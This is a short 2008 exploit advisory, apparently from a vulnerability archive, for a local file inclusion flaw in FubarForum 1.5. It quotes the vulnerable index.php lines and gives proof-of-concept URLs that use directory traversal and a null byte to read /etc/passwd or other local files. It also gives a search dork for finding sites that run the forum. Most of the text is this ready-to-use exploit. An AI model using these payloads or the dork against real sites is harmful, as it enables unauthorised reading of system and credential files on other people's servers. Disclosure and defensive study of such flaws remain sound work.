FubarForum 1.5 (index.php page) Local File Inclusion Vulnerability

🗓️ 21 Jun 2008 00:00:00Reported by RootType

FubarForum 1.5 Local File Inclusion Vulnerability in index.php pag


                                                ###################################################################################
#
#&nbsp;&nbsp;&nbsp;Name&nbsp;&nbsp;&nbsp;:&nbsp;FubarForum&nbsp;v1.5&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
#&nbsp;&nbsp;&nbsp;Author&nbsp;:&nbsp;cOndemned
#&nbsp;&nbsp;&nbsp;Dork&nbsp;&nbsp;&nbsp;:&nbsp;for&nbsp;ex.&nbsp;&quot;Powered&nbsp;by&nbsp;FubarForum&nbsp;v1.5&quot;
#&nbsp;&nbsp;&nbsp;Greetz&nbsp;:&nbsp;TBH,&nbsp;GregStar,&nbsp;ZaBeaTy,&nbsp;irk4z,&nbsp;Hawk,&nbsp;Sandtalker&nbsp;&amp;&nbsp;Avantura&nbsp;;*
#
###################################################################################

Source&nbsp;:

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;index.php

&nbsp;&nbsp;&nbsp;&nbsp;5.&nbsp;&nbsp;if&nbsp;(!empty($_GET['page']))&nbsp;{&nbsp;$page&nbsp;=&nbsp;$_GET['page'];&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&lt;----&nbsp;$page&nbsp;is&nbsp;being&nbsp;sended&nbsp;using&nbsp;GET&nbsp;method

&nbsp;&nbsp;&nbsp;&nbsp;91.&nbsp;if&nbsp;(file_exists(&quot;./&quot;.$page.&quot;.php&quot;))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&lt;----&nbsp;if&nbsp;only&nbsp;the&nbsp;file&nbsp;exists&nbsp;and&nbsp;we&nbsp;can&nbsp;use&nbsp;null&nbsp;byte&nbsp;(%00)
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;98.&nbsp;include(&quot;./&quot;.$page.&quot;.php&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&lt;----&nbsp;our&nbsp;file&nbsp;will&nbsp;be&nbsp;included&nbsp;here&nbsp;:))
&nbsp;&nbsp;&nbsp;&nbsp;
PoC&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;http://[host]/[fubarforum_path]/index.php?page=../../../../etc/passwd%00
&nbsp;&nbsp;&nbsp;&nbsp;http://[host]/[fubarforum_path]/index.php?page=../../../../[local_file]%00
&nbsp;&nbsp;&nbsp;&nbsp;
###################################################################################
#
#&nbsp;&nbsp;&nbsp;Together&nbsp;We&nbsp;stand&nbsp;tall,&nbsp;not&nbsp;gonna&nbsp;crash,&nbsp;not&nbsp;gonna&nbsp;fall&nbsp;-&nbsp;Children&nbsp;of&nbsp;Bodom
#
###################################################################################

21 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1